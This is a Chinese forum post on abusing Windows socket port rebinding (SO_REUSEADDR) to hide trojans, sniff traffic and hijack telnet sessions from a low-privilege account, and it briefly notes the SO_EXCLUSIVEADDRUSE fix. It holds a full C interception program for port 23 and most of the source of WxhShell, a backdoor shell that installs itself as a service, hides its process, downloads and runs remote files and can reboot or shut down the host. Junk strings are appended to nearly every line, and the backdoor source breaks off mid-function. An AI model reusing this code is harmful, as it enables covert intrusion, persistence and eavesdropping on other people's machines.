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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jGrN\D?h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "P)*FT  
2oJb)CB  
  saddr.sin_family = AF_INET; ^-FRTC  
|[9?ma  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &C>/L;  
GE|+fYVM-$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~[k%oA%W  
(H oqR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i&8FBV-  
PA6=wfc  
  这意味着什么?意味着可以进行如下的攻击: mAk{"65V  
[FUjnI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <o2r~E0r3  
A]L%dFK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ??hJEE  
jL)WPq!m+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KJE[+R H+z  
IlX$YOf4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %3HVFhl  
iTW? W\d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Bx[rC  
%p&k5:4<"#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  Av0y?oGH  
~j#~ \Ir  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >:=|L%]s;\  
(;. AS  
  #include ?S?2 0  
  #include }HEvr)v9  
  #include ,3I^?5  
  #include    $./bjV%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   oJKa"H-jL  
  int main() "m{,~'x  
  { >=iy2~Fz,  
  WORD wVersionRequested; "^I mb,  
  DWORD ret; Nr2C@FU:0  
  WSADATA wsaData; RFh"&0[  
  BOOL val; rQTr8DYH  
  SOCKADDR_IN saddr; /yLZ/<WN  
  SOCKADDR_IN scaddr; C@N1ljXJT  
  int err; Q4t(@0e}  
  SOCKET s; 8 i&_Jgmr  
  SOCKET sc;  ]*O/+  
  int caddsize; {b]aC  
  HANDLE mt; */ G<!W  
  DWORD tid;   d2X[(3  
  wVersionRequested = MAKEWORD( 2, 2 ); [<`SfE  
  err = WSAStartup( wVersionRequested, &wsaData ); |%~+2m  
  if ( err != 0 ) { D 71;&G]0  
  printf("error!WSAStartup failed!\n"); (h']a!  
  return -1; Z -%(~  
  } 4[ryKPa,  
  saddr.sin_family = AF_INET; Cw5%\K$=  
   o`khz{SU:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hVj NZ  
y80ykGPT\&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _w@qr\4i=  
  saddr.sin_port = htons(23); 2tayP@$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \b[9ebME  
  { )a}"^1  
  printf("error!socket failed!\n"); hzI *{  
  return -1; )o!XWh  
  } 5 =(c%  
  val = TRUE; O7']  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P7B:%HiAx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Qy#)Gxp  
  { ~.PP30 '  
  printf("error!setsockopt failed!\n"); `k\grr.J  
  return -1; KC e13!  
  } |L_wX:d`9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _DRrznaw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BiE08,nj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AvR2_  
'2hbJk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >Ps7I  
  { t+CWeCp,  
  ret=GetLastError(); T5wjU*=IL  
  printf("error!bind failed!\n"); EoX_KG{  
  return -1; dQy>Nmfy  
  } wx=0'T-[  
  listen(s,2); =1dI>M>tm  
  while(1) ^s\3/z>b4!  
  { qdCWy  
  caddsize = sizeof(scaddr); {Hr$wa~  
  //接受连接请求 wLuv6\E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {|9}+ @5Q1  
  if(sc!=INVALID_SOCKET) 4t4olkK3Oa  
  { C@o%J.9"#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6]Q3Yz^h  
  if(mt==NULL) FDR1 Gy  
  { ]43[6Im  
  printf("Thread Creat Failed!\n"); dsK&U\ej}  
  break; Vbh6HqAHxJ  
  } `,wu}F85  
  } PXP`ZLF  
  CloseHandle(mt); ')+0nPV  
  } O?bK%P]ay  
  closesocket(s); m9M FwfZ  
  WSACleanup(); jc_\'Gr+[  
  return 0; HOt>}x  
  }   '#\D]5  
  DWORD WINAPI ClientThread(LPVOID lpParam) K|W^l\Lt  
  { SM[{BH<  
  SOCKET ss = (SOCKET)lpParam; tXF]t   
  SOCKET sc; (yQ 5`  
  unsigned char buf[4096]; {u7##Vrgt8  
  SOCKADDR_IN saddr; 3l!NG=R  
  long num; 4dH}g~[P9  
  DWORD val; 8OWmzY_=  
  DWORD ret; $awi>#[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1;u4X`8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K0+ ;b u  
  saddr.sin_family = AF_INET; "cho }X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lD;'tqaC  
  saddr.sin_port = htons(23); F-n"^.7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e^).W3SK]  
  { Z+s%;f;  
  printf("error!socket failed!\n"); @-.? B  
  return -1; Z\X'd_1!  
  } qZ2&Xw.{1  
  val = 100; ScnY3&rc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) toa-Wa{  
  { 8uG0^h}  
  ret = GetLastError(); _3Q8n|  
  return -1; Mjpo1dw  
  } bggusK<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A3P9.mur  
  { k/Mp6<?C:  
  ret = GetLastError(); ~M ?|Vn  
  return -1; 1`r| op},  
  } t7#lsd`_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .I?@o8'x  
  { c $;\i  
  printf("error!socket connect failed!\n"); TmEY W<  
  closesocket(sc); y93k_iq$S  
  closesocket(ss); !MZw#=D`  
  return -1; -Q$nA>trKA  
  } q/@dR{-  
  while(1) [_DPxM=V  
  { Xer@A;c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7-iIay1h"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lhn8^hOJ/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  :,]S}R  
  num = recv(ss,buf,4096,0); +KK$0pL  
  if(num>0) >POO-8Q  
  send(sc,buf,num,0); #*IVlchA"B  
  else if(num==0) \,W.0#D8v4  
  break; A-E+s~U8  
  num = recv(sc,buf,4096,0); <3 @}Lj  
  if(num>0) $7gB_o$zz  
  send(ss,buf,num,0); I{.HO<$7D}  
  else if(num==0) Uf,fX/:!  
  break; J2Et-Cz1  
  } ,j;PRJ  
  closesocket(ss); k M*T$JqN  
  closesocket(sc); i1*C{Lf;%)  
  return 0 ; vx0UoKX  
  } go|>o5!g  
cFfTYP9  
UKB_Yy^Y  
========================================================== P 15:,9D  
&H;8QZ8uw  
下边附上一个代码,,WXhSHELL `bgb*Yaod  
;i)KHj'  
========================================================== 2/Nq'  
3l:XhLOj  
#include "stdafx.h" 6TFo|z!C  
U^#?&u  
#include <stdio.h> U~is-+Uq  
#include <string.h> Y^lQX~I2{  
#include <windows.h> N_'+B+U?  
#include <winsock2.h> #a}N"*P  
#include <winsvc.h> )q+4k m6  
#include <urlmon.h> AqYxWk3>  
X\2_; zwf  
#pragma comment (lib, "Ws2_32.lib") @@pq 'iRn  
#pragma comment (lib, "urlmon.lib") \ XH@b6{  
VyZV (k  
#define MAX_USER   100 // 最大客户端连接数 +t\^(SJ6  
#define BUF_SOCK   200 // sock buffer sWxK~Yg  
#define KEY_BUFF   255 // 输入 buffer ?z.Isvn  
ofCVbn  
#define REBOOT     0   // 重启 Lo3-X  
#define SHUTDOWN   1   // 关机 qe?Ggz3p.  
mUwUs~PjA  
#define DEF_PORT   5000 // 监听端口 yjZ2 if  
EZAm)5:]A  
#define REG_LEN     16   // 注册表键长度 3z,2utH  
#define SVC_LEN     80   // NT服务名长度 mCk5B*Jy  
E2:D(7(;l  
// 从dll定义API qzdaN5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c cr" ep  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zGs|DB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z[ #6-T &  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); # cWHDRLX  
ya>N.h  
// wxhshell配置信息 _"f<Ol[!  
struct WSCFG { <q6`~F~|  
  int ws_port;         // 监听端口 0/A-#'>  
  char ws_passstr[REG_LEN]; // 口令 2ij/N%l  
  int ws_autoins;       // 安装标记, 1=yes 0=no U>3 >Ex  
  char ws_regname[REG_LEN]; // 注册表键名 .ev\M0Dt  
  char ws_svcname[REG_LEN]; // 服务名 n&7@@@cA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fzs>J&sY&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]7<m1Lg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N{pa) /  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D0M!"c>\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  GVp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hmzair3X  
-Op@y2+c  
}; ABiC9[Q0  
-- S"w@  
// default Wxhshell configuration lZ a?Y@  
struct WSCFG wscfg={DEF_PORT, vahf]2jEB  
    "xuhuanlingzhe", NKh,z& _5-  
    1, u[[/w&UV.,  
    "Wxhshell", (-2R{! A  
    "Wxhshell", }:^XX0:FK  
            "WxhShell Service", KZ\dB;W< |  
    "Wrsky Windows CmdShell Service", sA2o2~AmM  
    "Please Input Your Password: ", jEE_D +K  
  1, Q!) z)-hI  
  "http://www.wrsky.com/wxhshell.exe", bw;iz ,Z  
  "Wxhshell.exe" 1}DerX6  
    }; A:xb!= 2  
c,AZ/t  
// 消息定义模块 /'`6 ; uRN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7jR7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rG5i-'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ys+N,:#R  
char *msg_ws_ext="\n\rExit."; ;qG1r@o  
char *msg_ws_end="\n\rQuit."; V<W02\Hs  
char *msg_ws_boot="\n\rReboot..."; [J:zE&aj  
char *msg_ws_poff="\n\rShutdown..."; ahoh9iJ  
char *msg_ws_down="\n\rSave to "; 'Z$jBL  
Zih5/I  
char *msg_ws_err="\n\rErr!"; VVN # $  
char *msg_ws_ok="\n\rOK!"; A?sNXhh  
g\j>qUjs%Q  
char ExeFile[MAX_PATH]; C&oxi$J:p+  
int nUser = 0; V%o#AfMI_  
HANDLE handles[MAX_USER]; m`a>,%}P"  
int OsIsNt; j,ZW[*M  
9dw0<qw1%  
SERVICE_STATUS       serviceStatus; ?:JdRnH\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :7k`R6 2{  
1J+3a-0  
// 函数声明 59/Q*7ZJ  
int Install(void); !xJFr6G~8  
int Uninstall(void); =%)})  
int DownloadFile(char *sURL, SOCKET wsh); @|]iSD&T #  
int Boot(int flag); o] S`+ZcV  
void HideProc(void); Lqq*Nr  
int GetOsVer(void); B,:23[v  
int Wxhshell(SOCKET wsl); -MUQ \pZ  
void TalkWithClient(void *cs); Ol_/uy1r[  
int CmdShell(SOCKET sock); l]/> `62  
int StartFromService(void); 7j95"mI  
int StartWxhshell(LPSTR lpCmdLine); : (RL8  
<EOg,"F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IwnYJp:9v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JN)"2}SE  
B ;;cbY  
// 数据结构和表定义 P$ F#,Cn  
SERVICE_TABLE_ENTRY DispatchTable[] = =^"~$[z(  
{ k~ZBJ+ 94  
{wscfg.ws_svcname, NTServiceMain}, dvxf lLd @  
{NULL, NULL} %!D_q ~"H  
}; &F9OZMK=  
{\F2*P  
// 自我安装 V9gVn?O0  
int Install(void) @eA %(C  
{ mn Qal>0~  
  char svExeFile[MAX_PATH]; vB]3Xb3a  
  HKEY key; vr<)Ay  
  strcpy(svExeFile,ExeFile); W3aXW,P.V  
7kOE/>P?  
// 如果是win9x系统,修改注册表设为自启动 Kl!DKeF  
if(!OsIsNt) { w# xncH:1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X #H:&*[!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c-v*4b/d  
  RegCloseKey(key); 5=Zp%[ #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L>i<dD{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zmdWVFV v  
  RegCloseKey(key); 7d%A1}Bq$  
  return 0; ~}Kp  
    } 0LZ=`tI  
  } $)4GCP  
} )|MIWgfWN  
else { _ Eszr(zJ  
j #4+-  
// 如果是NT以上系统,安装为系统服务 ,K`E&hS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <tGI]@Nwk  
if (schSCManager!=0) #I bS  
{ m`[oT\  
  SC_HANDLE schService = CreateService cYE./1D a  
  ( i=x.tsJ:hB  
  schSCManager, ?hP<@L6K  
  wscfg.ws_svcname, \IO$ +Guh  
  wscfg.ws_svcdisp, {c&qB`y<.  
  SERVICE_ALL_ACCESS, 5F% h>tqh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jM{(8aUG  
  SERVICE_AUTO_START, t00\yb^vJ8  
  SERVICE_ERROR_NORMAL, |C&%S"*+D  
  svExeFile, U#OWUZ  
  NULL, ,s\x]bh  
  NULL, Qo]vpp^[#  
  NULL, X v`2hf  
  NULL, XPGL3[w\V  
  NULL 0EcC  
  ); t$ACQ*O  
  if (schService!=0) tCd{G c  
  { 5@GD} oAn6  
  CloseServiceHandle(schService); 3w[<cq.!  
  CloseServiceHandle(schSCManager); wpAw/-/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LuQ"E4;nY%  
  strcat(svExeFile,wscfg.ws_svcname); pE$|2v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >_|Z{:z]d.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q$/V)0  
  RegCloseKey(key); +9Xu"OFm  
  return 0; ey'pm\Z  
    } a3b2nAIl  
  } u^j8 XOT  
  CloseServiceHandle(schSCManager); ^D% }V-"  
} *#ob5TBq[  
} 4r68`<mn[  
6M O|s1zk  
return 1; ^.ZSpc}<  
} 7F>gj  
H9oXZSm  
// 自我卸载 #i}#jMT  
int Uninstall(void) /k4^&  
{ OpWC2t)  
  HKEY key; .E?bH V  
lBizC5t!o  
if(!OsIsNt) { 4*@G&v?n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^KaqvG$ed  
  RegDeleteValue(key,wscfg.ws_regname); z v L>(R  
  RegCloseKey(key); 12%z3/i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h(+m<J  
  RegDeleteValue(key,wscfg.ws_regname); jsZiARTZRl  
  RegCloseKey(key); /Bg6z m  
  return 0; l(3'Re  
  } &hSnB~hi  
} 2)HxW}o  
} 1NE!=;VOl  
else { q\ \8b{~  
tEpIyC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1kz9>;Ud6  
if (schSCManager!=0) #;qFPj- v  
{ doxdRYKL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); | o;j0  
  if (schService!=0) glOqft&>`  
  { X~IRpzC  
  if(DeleteService(schService)!=0) { [[/ }1%  
  CloseServiceHandle(schService); wHB Hkz  
  CloseServiceHandle(schSCManager); CrRQPgl+u  
  return 0; 60U{ e}Mkb  
  } !0!P.Q8>&  
  CloseServiceHandle(schService); i/C -{+}U  
  } zR3lX}g  
  CloseServiceHandle(schSCManager); PMz{8 F  
} []6ShcqJ[v  
} SG(%d^x`R  
fY)4]=L  
return 1; $ DABR  
} q:EzKrE  
=:CGl   
// 从指定url下载文件 h;4y=UU  
int DownloadFile(char *sURL, SOCKET wsh) iECC@g@a  
{ q>D4ma^  
  HRESULT hr; &F<J#cfe8  
char seps[]= "/"; " kE:T.,  
char *token; Tv*1q.MB  
char *file; &2P:A  
char myURL[MAX_PATH]; ~_f |".T  
char myFILE[MAX_PATH]; +7lRP)1R  
Xj})?{FP  
strcpy(myURL,sURL); X1 0"G~0  
  token=strtok(myURL,seps); )$lSG}WD  
  while(token!=NULL) @Le ^-v4  
  { n!CP_  
    file=token; : e0R7sj  
  token=strtok(NULL,seps); ]sm0E@1  
  } Y7b,td1  
;S{Ld1;  
GetCurrentDirectory(MAX_PATH,myFILE); O>b&-U"R  
strcat(myFILE, "\\"); i SAidK,  
strcat(myFILE, file); \U<F\i  
  send(wsh,myFILE,strlen(myFILE),0); eK=m02  
send(wsh,"...",3,0); W=;(t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YN5OuKMUd'  
  if(hr==S_OK) R5'Z4.~  
return 0; f/IRO33  
else =@ L5  
return 1; 'EH  
Gg3?2h"d  
} ~' Qpf 8)  
^%4( %68  
// 系统电源模块 mNBpb}  
int Boot(int flag) x jP" 'yU  
{ +lDGr/  
  HANDLE hToken; F-reb5pt.=  
  TOKEN_PRIVILEGES tkp; *+,Lc1|\  
%xbz&'W,  
  if(OsIsNt) { &ls!IN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =?I1V#.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z|cTzunp  
    tkp.PrivilegeCount = 1; a dz;N;rIY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gqHH Hh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &]"_pc/>m  
if(flag==REBOOT) { go%X%Os]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nkCRe  
  return 0; <'4!G"_EP  
} L F-+5`  
else { KoQ_: `  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e G*s1uQl  
  return 0; ]Xkc0E1  
} (Aov}I+  
  } ;t@ 3Go  
  else { Vp{RX8?.  
if(flag==REBOOT) { {7M4SC@p|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )*$  
  return 0; ~A:;?A'.  
} 8HH.P`Vk#  
else { ]B[/sqf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q'Jpsmwu  
  return 0; %f3Nml  
} E{k%d39>  
} L[[H&#\  
)l!&i?h%  
return 1; IpaJ<~ p  
} !i"9f_  
dC;d>j,  
// win9x进程隐藏模块 >`,#%MH#  
void HideProc(void) EK-bvZ  
{ pg}DC0a  
MS*Mem,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q&U= jX  
  if ( hKernel != NULL ) DRB YH(  
  { i]^*J1a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :R|2z`b!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r<f-v_bxF  
    FreeLibrary(hKernel); ~E:/oV:4 >  
  } i7w}`vs  
3bI|X!j  
return;  k9VQ6A  
} 0wE8Gm G  
cdU >iB,  
// 获取操作系统版本 fY+ .#V  
int GetOsVer(void) r{:la56Xd  
{ 0\ytBxL  
  OSVERSIONINFO winfo; bl=*3qB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @}rfY9o'  
  GetVersionEx(&winfo); HjF'~n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NYV0<z@M2M  
  return 1; *.;}OX^X  
  else D<L{Z[  
  return 0; h|/*yTuN.y  
} VT~ ^:-]  
ea[a)Z7#  
// 客户端句柄模块 xyJgHbml  
int Wxhshell(SOCKET wsl) <wGT s6  
{ Xk fUPbU  
  SOCKET wsh; f.xSr!  
  struct sockaddr_in client; r@V(w`  
  DWORD myID;  D]>86&  
T6?d`i i1  
  while(nUser<MAX_USER) 6V_5BpXt  
{ Pc:'>,3!V3  
  int nSize=sizeof(client); !\|@{UJk/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FU v)<rK  
  if(wsh==INVALID_SOCKET) return 1; $YO]IK$  
6I.+c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '~6CGqU*  
if(handles[nUser]==0) 0PX@E-n  
  closesocket(wsh); E":":AC#  
else k}a!lI:  
  nUser++; ?B31 t9  
  } rN!9&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UtW3KvJ#=  
WAXrA$:3J  
  return 0; 21J82M  
} g='2~c  
Y?SJQhN6W  
// 关闭 socket oTa+E'q  
void CloseIt(SOCKET wsh) C&K(({5O  
{ E]Gq!fA&<  
closesocket(wsh); XXdMppoR  
nUser--; 9*Mg<P"  
ExitThread(0); eMMiSO!3  
} VQJ5$4a&  
3G0\i!*t  
// 客户端请求句柄 !{=%l+^.  
void TalkWithClient(void *cs) ZFw743G  
{ @[ N~;>  
sU3V)7"  
  SOCKET wsh=(SOCKET)cs; Yy:sZJ  
  char pwd[SVC_LEN]; = |zyi|  
  char cmd[KEY_BUFF]; us *l+Jw,m  
char chr[1]; j W]c9u  
int i,j; j{+I~|ZB,  
H ;}ue  
  while (nUser < MAX_USER) { C2%3+  
*m Tc4&*  
if(wscfg.ws_passstr) { R}mWHB_h"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UVRV7^eTe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7`n8 OR4  
  //ZeroMemory(pwd,KEY_BUFF); IaqN@IlWb  
      i=0; 6E%k{ r  
  while(i<SVC_LEN) { .:Xe*Q  
N@ tb^M  
  // 设置超时 ~9 nrS9)  
  fd_set FdRead; k5<0M'  
  struct timeval TimeOut; 9 CSz<[  
  FD_ZERO(&FdRead); c^UM(bW  
  FD_SET(wsh,&FdRead); Tfs9< k>G#  
  TimeOut.tv_sec=8; j[ YTg]  
  TimeOut.tv_usec=0; 9_^V1+   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~$9"|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6h"? 3w  
T[K?A+l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q:eAL'OkM  
  pwd=chr[0]; JugQ +0  
  if(chr[0]==0xd || chr[0]==0xa) { F#9KMu<<cI  
  pwd=0; l@9:V hU(  
  break; _E-GHj>k z  
  } SQCuY<mD  
  i++; *J- jr8&  
    } N^j''siB  
z@LP9+?dE  
  // 如果是非法用户,关闭 socket #.K&]OV/88  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PltPIu)F  
} uB9+E%jOdQ  
G!Q)?N    
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {i?K~| h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a.Vs >1  
0a;zT O/"v  
while(1) { 4ov~y1Da)  
Qx#)c%v \\  
  ZeroMemory(cmd,KEY_BUFF); (bXp1*0 ;  
wn.0U  
      // 自动支持客户端 telnet标准   F= lj$?4{  
  j=0;  5Ww\h  
  while(j<KEY_BUFF) { ^E8Hv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L^Af3]]2  
  cmd[j]=chr[0]; D7oV&vXg  
  if(chr[0]==0xa || chr[0]==0xd) { Eu}A{[^\  
  cmd[j]=0; 7~g0{W>Zm  
  break; 8XE0 p7  
  } $a]dxRkz  
  j++; D{}\7qe  
    } eS+LFS7*k  
=swcmab;  
  // 下载文件 CF4y$aC#  
  if(strstr(cmd,"http://")) { 7m$/.\5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MYm6C;o$  
  if(DownloadFile(cmd,wsh)) jP]'gQ!-w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8BdeqgU/_  
  else kF7Al]IgT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yf9L~K  
  } F:U_gW?  
  else { Gj0NN:  
1 1'Tt!  
    switch(cmd[0]) {  6<GWDO  
  a_x6 v*  
  // 帮助 9dv~WtH>5  
  case '?': { 247>+:7z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e$h\7i:(  
    break; 1A *8Jnw  
  } =ye}IpC*M  
  // 安装 k#M W>  
  case 'i': { hWJc A.A  
    if(Install()) IVKE dwA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #,pLVt<  
    else  )BB a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C <)&qx3  
    break; Ved:w^ ,  
    } F!<x;h(  
  // 卸载 %;gWl1&5  
  case 'r': { Lr&tpB<  
    if(Uninstall()) ]y$C6iUY*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  -"H9W:  
    else *l} 0x@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E{B<}n|}&  
    break; u?i1n=Ne  
    } Q^OzFfR6  
  // 显示 wxhshell 所在路径 e76)z; '  
  case 'p': { )}8%Gs4C  
    char svExeFile[MAX_PATH]; t$2{U  
    strcpy(svExeFile,"\n\r"); `VbG%y&I  
      strcat(svExeFile,ExeFile); .:/@<V+K  
        send(wsh,svExeFile,strlen(svExeFile),0);  q\"$~*  
    break; N"{o3QmA  
    } V-|}.kOH2  
  // 重启 '` "&RuB  
  case 'b': { F'!}$oT"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %Z|*!A+wN5  
    if(Boot(REBOOT)) V _,*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SfR_#"Uu  
    else { }#M|3h;q9+  
    closesocket(wsh); TjdYCk]'  
    ExitThread(0); .BvV[`P  
    } xg&vZzcl  
    break; P{ o/F  
    } +aap/sYp  
  // 关机 5kz`_\ &  
  case 'd': { 4RNzh``u  
